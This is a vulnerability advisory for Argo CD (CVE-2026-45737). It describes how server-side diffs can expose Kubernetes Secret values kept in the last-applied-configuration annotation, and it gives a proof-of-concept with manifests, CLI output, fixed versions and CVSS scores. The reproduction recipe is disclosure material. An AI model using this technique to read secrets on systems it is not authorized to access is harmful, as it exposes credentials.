CVE-2026-45737
Published:May 20, 2026
Updated:May 20, 2026
Summary The original fix for "GHSA-3v3m-wc6v-x4x3" (https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3) is incomplete. argocd app diff --server-side-diff can still expose Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation. The prior fix masks top-level Secret data in ServerSideDiff responses, but it does not fully sanitize Secret data stored inside the last-applied-configuration annotation. If a Secret was previously created or updated using client-side apply, that annotation may contain raw data, stringData, and sensitive annotations. These values can be shown in UI/CLI diffs. Details The ServerSideDiff endpoint returns ResourceDiff.TargetState / LiveState based on server-side dry-run output. Kubernetes server-side dry-run can return a full predicted live Secret object that carries forward existing live annotations, including: kubectl.kubernetes.io/last-applied-configuration For Secrets created with client-side apply, that annotation can contain a JSON-serialized Secret manifest with sensitive values. The masking path calls HideSecretData(target, live, ...). However, HideSecretData only rewrites the last-applied annotation on the second argument (live). In server-side diff, the first argument can be predictedLive, not a clean Git target. predictedLive can also contain kubectl.kubernetes.io/last-applied-configuration, so the first object’s embedded annotation can remain unmasked. PoC Create an app containing this Secret manifest: apiVersion: v1 kind: Namespace metadata: name: last-applied-secret-repro apiVersion: v1 kind: Secret metadata: name: secret namespace: last-applied-secret-repro annotations: app: test token: SECRETVAL type: Opaque data: password: U0VDUkVUVkFM username: U0VDUkVUVkFM Create and Sync Argo App apiVersion: argoproj.io/v1alpha1 kind: Application metadata: name: last-applied-secret-repro namespace: argocd annotations: argocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true spec: project: default destination: server: https://kubernetes.default.svc namespace: last-applied-secret-repro source: repoURL: https://github.com/YOUR_ORG/YOUR_REPO.git targetRevision: HEAD path: last-applied-secret-repro syncPolicy: automated: prune: true selfHeal: true syncOptions: - CreateNamespace=true - ServerSideApply=true Run argo cd app diff "argocd app diff last-applied-secret-repro --server-side-diff --exit-code=false" ❯ argocd app diff last-applied-secret-repro --server-side-diff --exit-code=false ===== /Secret last-applied-secret-repro/secret ====== 10c10,11 < kubectl.kubernetes.io/last-applied-configuration: '{"apiVersion":"v1","data":{"password":"++++++++","username":"++++++++"},"kind":"Secret","metadata":{"annotations":{"app":"test","argocd.argoproj.io/tracking-id":"last-applied-secret-repro:/Secret:last-applied-secret-repro/secret","token":"SECRETVAL"},"name":"secret","namespace":"last-applied-secret-repro"},"type":"Opaque"}' «kubectl.kubernetes.io/last-applied-configuration: | {"apiVersion":"v1","data":{"password":"U0VDUkVUVkFM","username":"U0VDUkVUVkFM"},"kind":"Secret","metadata":{"annotations":{"app":"test","argocd.argoproj.io/tracking-id":"last-applied-secret-repro:/Secret:last-applied-secret-repro/secret","token":"SECRETVAL"},"name":"secret","namespace":"last-applied-secret-repro"},"type":"Opaque"}» The secret value can be seen inside the diff Impact Authenticated Argo CD users who can view application diffs may be able to read Secret values that should be masked. Impacted values include: Secret data embedded in kubectl.kubernetes.io/last-applied-configuration
Affected Packages
https://github.com/argoproj/argo-cd.git (GITHUB):
Affected version(s) >=v3.4.0 <v3.4.2Fix Suggestion:
Update to version v3.4.2https://github.com/argoproj/argo-cd.git (GITHUB):
Affected version(s) >=v3.2.0 <v3.2.12Fix Suggestion:
Update to version v3.2.12https://github.com/argoproj/argo-cd.git (GITHUB):
Affected version(s) >=v3.3.0 <v3.3.10Fix Suggestion:
Update to version v3.3.10github.com/argoproj/argo-cd/v3 (GO):
Affected version(s) >=v3.3.0 <v3.3.10Fix Suggestion:
Update to version v3.3.10github.com/argoproj/argo-cd/v3 (GO):
Affected version(s) =v3.4.1 <v3.4.2Fix Suggestion:
Update to version v3.4.2github.com/argoproj/argo-cd/v3 (GO):
Affected version(s) >=v3.2.0 <v3.2.12Fix Suggestion:
Update to version v3.2.12Related Resources (2)
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Contact UsCVSS v4
Base Score:
7
Attack Vector
NETWORK
Attack Complexity
HIGH
Attack Requirements
NONE
Privileges Required
LOW
User Interaction
NONE
Vulnerable System Confidentiality
HIGH
Vulnerable System Integrity
NONE
Vulnerable System Availability
NONE
Subsequent System Confidentiality
HIGH
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
6.3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
LOW
User Interaction
NONE
Scope
CHANGED
Confidentiality
HIGH
Integrity
NONE
Availability
NONE